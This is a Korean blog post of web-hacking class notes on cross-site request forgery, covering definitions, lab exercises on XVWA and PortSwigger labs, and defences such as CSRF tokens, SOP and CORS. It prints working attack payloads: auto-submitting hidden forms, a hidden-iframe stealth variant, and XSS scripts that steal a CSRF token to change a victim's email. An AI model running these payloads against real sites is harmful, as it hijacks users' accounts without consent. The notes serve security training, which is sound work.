복습 XSS 대응방안
1. HTML 특수문자 -> 엔티티!
2. White List - 기반으로 허용태그 사용
3. Black List - 악성이벤트
*CSRF (Cross site Request fo) 조사
> 스크립팅 공격이 가능하다는 전제에 가능.
> 피싱을 활용한 공격.
> 패스워드 변경.
> 이용자의 요청을 위변조한다.
*정정
1. XSS와 전혀 별개의 취약점이다.
XSS 공격이 불가능해도 CSRF 취약점이 존재할 수 있다.
XSS 활용하면 극대화되기 때문에 실습을 연관해서 보여줌.
그래서 비슷해보이지만 별개임.
=> 차이점
실행되는 페이로드가 XSS(클라이언트 측 공격) vs CSRF(서버 측 공격)
둘다 클라이언트 공격이긴 함.
=> 정의
공격자가 사용자의 계정으로 원치않은 요청을 하는 것.(로그인이기능이 있어야겠죠!)
"비밀번호 1234로 바꿔주세요!"
-> 원인
누가 요청했는지 확인하지 않아서 발생. 세션은 A지만, 사용자에 대한 제대로된 확인은 안함.
=이용자가 특정 요청을 하게 만드는!(이용자의 세션을 가지고)
ex. 관리자만 공지사항을 등록할 수 있을 떄, 공격자는 이 관리자의 권한을 도용헤서 공지를 띄움
=> 결론 해당 요청을 하는 사용자의 인증이 없기 때문
요즘 비밀번호 변경시 기존 비밀번호가 인증정보같이 활용됨.
*발생 가능 위치
> WEB 서비스 요청 모든 곳
XVWA 실습) 비밀번호 바꾸고 패킷 확인
거기에 붙은 세션이 아이디, 12345로 비번 바꾼게 보임
이건 CSRF다.
-> ex 비번을 AAA로 바꿔보면 GET방식이고, Copy URL해서 링크를 만듬.
URL:
http://127.0.0.1/xvwa/vulnerabilities/csrf/?passwd=aaa&confirm=aaa&submit=submit
그러면 이 링크를 누른 사람은 비밀번호가 AAA로 바뀜
관리자님 이 링크를 좀 확인해주세요 ~~! 링크 > 시 누르면 변경> 권한 훔침
*컨설턴트의 관점(주관)
- 댓글 작성, 게시글 작성 (악용 소지가 있는 곳이면 취약점, 아니면 안잡음.)
- 비밀번호 변경(인증 정보가 변경되는 것, 인증 정보나 2차 인증이 없다 ! 그럼 잡음.)
보고서시 링크 참고하면 좋음.
*실무 TIP) URL SHORT
URL을 짧게 만들어줌.
Shorturl.at/ptBP7 이 링크로 보고서 쓰면 좀 더 좋음.
방식 확인을 제일 먼저 해야함. 겟방식 되면 1, 아니면 포스트로 2.
Burp suite 사이트 내 실습)
CSRF 공격 / 방어
1. GET Method
CSRF 취약점 요청이 GET
GET 방식으로 URL
http://192.168./../passwd=aaaa">
-- 링크 클릭: 사회공학 기법
-- 글에 삽입 <img src=""/>, 링크를 클릭하자마자 자기도 모르게 pw 등의 요청을함.
XSS, CSRF 혼합 공격법.
-> POST
2. POST Method
-> FORM 태그
<form action = "URL" method="POST">
<input type ="hidden" name="pass" value="aaaa"> //비밀번호 변경
<input type ="hidden" name="confirm" value="aaaa"> //변경 비밀번호 확인
<input type ="hidden" name="submit" value="submit"> //전송
<input type="submit" value="Clink me">
</form>
(0) burp suite 로 실습
여기서 계정정보가 주어진다. 글 내에 id = wiener, pass = peter 로 실습사이트 로그인이 가능하다.
(1) 로그인하고 이메일 바꾸는 페이지 뜨면, 이메일 바꿔보고 Burp suite으로 패킷을 확인해본다.
요청대로 이메일이 바뀌는 것을 확인할 수 있다.
(2) 그럼 이제 이 취약점이 위험한가 판단을 한다. 개인정보 변경 기능이 있을 시 취약점 잡는 편이다.
(3) 이제 GET 방식이 통하는지 확인해보아야한다. Change GET 했더니 Not Found가 뜬다. 그럼 POST 방식을 확인해본다.
(4) POST 방식의 경우는 FORM 태그를 작성해서 공격이 가능할 수 있다.
<form action = "헤당페이지" method="POST"> //해당 페이지에 POST 방식으로 요청을 보낼 것.<input type ="hidden" name="email" value="myungju.com"> //이메일을 myungju.com로 바꾸는 요청 태그를 작성<input type="submit" value="Clink me"> //클릭버튼을 누르면 전송되게 한다.
</form>
(5) 이제 이걸 클릭하게 하면 공격이 성공한다.
*단 해당 사이트내에서 요청을 보내야한다.
--> 공격 자동화 (XSS)
게시글 내에
<script>
document.forms[0].submit();
</script>
-> 0이란 건 첫번째 폼. 순서임. form.id하고 document.getElementById("")로 할 수도 있음.
--> Stealth 공격 자동화(XSS)
<iframe>width="0" height="0" border="0" name=" ㄴtealthframe" id="stralthframe" style="display: none;"></iframe>활용
//이걸 사용하게 되면 홈으로 리다이렉트하는걸 막을 수 있음.
비번 바꾼게 티가 안난다. iframe내에 공격 수행 결과가 나타나는데 이걸 사이즈 0으로 만들어 눈에 보이지 않게 한다.
<form action = "헤당페이지" method="POST" target="stralthframe">
<input type ="hidden" name="email" value="mjtest.com">
<input type="submit" value="Clink me">
</form>
<script>
document.forms[0].submit();
</script>
3. 토큰 : 인증 수단 추가
일회용 정보 : CSRF 토큰
특정 페이지 요청 시 CSRF 토큰을 함께 넣어 전송해 이 토큰을 확인해야 요청 들어줌,
type= "hidden" name="csrf" value="~~" 로 랜덤하게 토큰을 발급해준다.
CSRF 토큰은 막을 수 있다.
다만 XSS를 할 수 있어야한다, 정책이 없으면 우회가 가능할 수 있다.
토큰 발급이 미흡할 경우 우회가능 코드
<iframe width="0" height="0" border="0" name=" stealthframe" id="stealthframe" style="display: none;"></iframe>
<body onload="document.csrf_form.submit();">
<form method="POST" name="csrf_form" action="https://ac531fd21e8abb35c05105cc001f0098.web-security-academy.net/my-account/change-email" target="stealthframe">
<input type ="hidden" name="email" value="jjjjj@naver.com">
<input type="hidden" name="csrf" value="VGY0L9uUEbmv4uIAyQxzpnrxnZ7L7orM">
</form>
-> XSS
(1) SOP(Same Origin Policy)
<script>
var xhrGET=new --
토큰을 있는 주소를 씀.
</script>
(*)자원의 종류에 따라 다르게 적용된다고 한다.
- HTML 문서에서 다른 출처로 폼 제출(Get/Post Request), 링크 클릭(Get Request)등은 허용돈다.
- HTML 문서에서 다른 출처의 CSS, JavaScript, iframe, lmage등을 포함 (Get Request)하는 것은 허용된다.
- HTML 문서에서 다른출처로 XHR (Ajax Request)을 보내는 것은 거부된다.
XHR는 Ajax요청을 생성하는 JavaScript API이다. 브라우저와 서버간의 네트워크 요청 가능.
(2) CORS policy(Cross- origin Resourse share)
다른 곳에서 자원을 쓰기 위한 정책
근데 보통 악성 공격이 있을 수 있으니 꺼둠.
도메인이 다르면 실행 안됨.
몇몇 곳은 화면에 출력되는 게시판과 비번변경 도메인이 같을 거임.
(3) 더 자주 쓰이는 우회 방식
예제 1)
<script>
var xhrGET = new XMLHttpRequest();
var token_url = 'https://acd71f6f1fdcb06ac06c0cd700e800d7.web-security-academy.net/my-account';
xhrGET.onreadystatechange = function(){
if(xhrGET.readyState == XMLHttpRequest.DONE){
var myresponse = xhrGET.response;
var userToken = myresponse.getElementsByName("csrf")[0].value
exploit(userToken);
}
}
xhrGET.open('GET', token_url, true);
xhrGET.responseType = "document";
xhrGET.send(null);
function exploit(userToken){
var xhrPOST = new XMLHttpRequest();
var csrf_url = 'https://ac8b1fd41f24f064c0113892007a00b6.web-security-academy.net/my-account/change-email';
xhrPOST.open('POST', csrf_url,true);
var mypayload = 'email=wiener2%40normal-user.net&csrf='+userToken;
xhrPOST.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhrPOST.setRequestHeader('Content-length', mypayload.length);
xhrPOST.setRequestHeader('Connection', 'close');
xhrPOST.onreadystatechange = function(){}
xhrPOST.send(mypayload);
}
</script>
대다수 비번때 다시 걸림. 이건 iframe 에 있는 데이터를 가져올려고 할 경우
안돼서 걸림. 다들 여기 걸려서 csrf 토큰 우회 어려워진다.
//요청을 두번 보내게 하면 됨.
피해자가 서버로 데이터를 한 번 보내면 됨.
코드 이해 전 AJAX에 대한 사전지식
AJAX란 비동기 자바스크립트와 XML(Asynchronous JavaScript And XML)를 말한다. 서버와 통신하기 위해 XMLHttpRequest 겍체를 사용한다. 가장 큰 특징은 페이지 전체를 리프에쉬하지 않고 수행되는 비동기성이라는 특징이며 일부분만을 업데이트할 수 있게 해준다.
- XHR 객체를 선언한 후 open 메소드로 요청을 열고 주소와 HTTP 메소드를 설정한 후 send 메소드로 요청을 서버로 보낸다. GET, POST, PUT, HEAD등의 메소드를 설정할 수 있다.
var xhrGET = new XMLHttpRequest();
var token_url = ' ';
- xhrGET.readyState는 AJAX 요청시 객체 상태별로 바뀌는 기능을 가졌다. open 메소드가 호출되는 순간부터 1로 바뀌며 순차적으로 2,3,4로 변한다.
0: 요청이 초기화 되지 않음
1: 서버와 연결
2: 요청 수락
3: 요청 진행
4: 요청 완료 응답
- xhrGET.onreadystatechange가 요청에 대한 응답을 받는 이벤트 리스너이다. readyState가 변할 떄마다 함수가 호출되어 최종적으로 4를 받았을 때 HTTP 상태코드를 확인한다.
if(xhrGET.readyState == XMLHttpRequest.DONE)
상태코드가 200이나 201일때 성공 응답을 확인하고 아닐 시 에러 404를 표기한다.
onreadystatechange 대신 onload를 사용해도 된다.
코드 전문 해석
<script>
var xhrGET = new XMLHttpRequest(); //객체와 주소 선언
var token_url = 'https://acd71f6f1fdcb06ac06c0cd700e800d7.web-security-academy.net/my-account';
//변환 시도할 주소 입력
xhrGET.onreadystatechange = function(){ //요청에 대한 응답을 받을 함수 선언
if(xhrGET.readyState == XMLHttpRequest.DONE){ // 상태코드를 확인해 성공 시 if문 실행 (이상 없음, 응답 받음)
var myresponse = xhrGET.response;
var userToken = myresponse.getElementsByName("csrf")[0].value //해당 이름으로 된 객체를 모두 받아온다.
exploit(userToken); //
}
}
xhrGET.open('GET', token_url, true); //HTTP을 요구받을 방식을 나타내며 대문자로 표기되어야한다.
// 요구하고자 하는 url을 지정한다.
// 요구가 비동기식으로 수행될지 결정. true시 지속적수행으로 응답전에도 유 저와 페이지의 상호작용이 가능하다.
xhrGET.responseType = "document"; //응답 타입을 지정한다.
xhrGET.send(null); // 서버로 보낼 파라미터
function exploit(userToken){
var xhrPOST = new XMLHttpRequest();
var csrf_url = 'https://ac8b1fd41f24f064c0113892007a00b6.web-security-academy.net/my-account/change-email';
//이메일을 바꾸는 요청을 보내는 url 삽입
xhrPOST.open('POST', csrf_url, true);
var mypayload = 'email=wiener2%40normal-user.net&csrf='+userToken; //userToken추가해서 이메일 변경요청
xhrPOST.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhrPOST.setRequestHeader('Content-length', mypayload.length);
xhrPOST.setRequestHeader('Connection', 'close');
xhrPOST.onreadystatechange = function(){}
xhrPOST.send(mypayload);
}
</script>
(2) iframe을 이용하는 법
<script>
document.writeln('<iframe id="getCSRFToken" src="https://acd71f6f1fdcb06ac06c0cd700e800d7.web-security-academy.net/my-account" width="0" height="0" border="0" onload="exploit()"></iframe>');
function exploit() {
var name = 'normal@test.com';
var token = document.getElementById("getCSRFToken").contentDocument.forms[0].csrf.value;
document.writeln('<form width="0" height="0" border="0" method="post" action="https://ac8b1fd41f24f064c0113892007a00b6.web-security-academy.net/my-account/change-email">');
document.writeln('<input type="hidden" name="email" value="' + name + '" /><br />');
document.writeln('<input type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Exploit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
*same site SSRF
**과제
> 내가 만든 게시판
CSRF 구현
-email 변경
-게시글 작성
-비번 변경
'Web hacking > Nomaltic) 웹 해킹 수업 노트 👩💻' 카테고리의 다른 글
[복습]CSRF 취약점 실습 (0) | 2021.12.05 |
---|---|
[8주차]CSRF의 현재 모습 (0) | 2021.12.03 |
[7주차]CSRF(Cross Site Request Forgery)란? (0) | 2021.11.24 |
[6주차]XSS 키로커 삽입과 대응방안 (0) | 2021.11.20 |
[6주차]XSS 공격 벡터와 대응방안 (0) | 2021.11.18 |